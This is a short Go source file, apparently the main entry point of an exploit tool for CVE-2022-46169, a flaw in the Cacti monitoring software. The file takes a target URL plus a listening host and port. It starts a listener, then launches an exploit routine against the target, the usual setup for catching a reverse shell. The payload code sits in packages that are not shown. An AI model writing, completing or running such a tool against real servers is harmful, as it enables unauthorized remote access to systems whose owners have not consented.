package main import ( "time" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter" "git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener" ) func main() { urlTarget, lhost, lport := cmd.GetArguments() if urlTarget == "" || lhost == "" || lport == "" { return } go listener.Listen(lport) time.Sleep(1 * time.Second) exploiter.Exploit(urlTarget, lhost, lport) // prevent the main goroutine from exiting immediately select {} }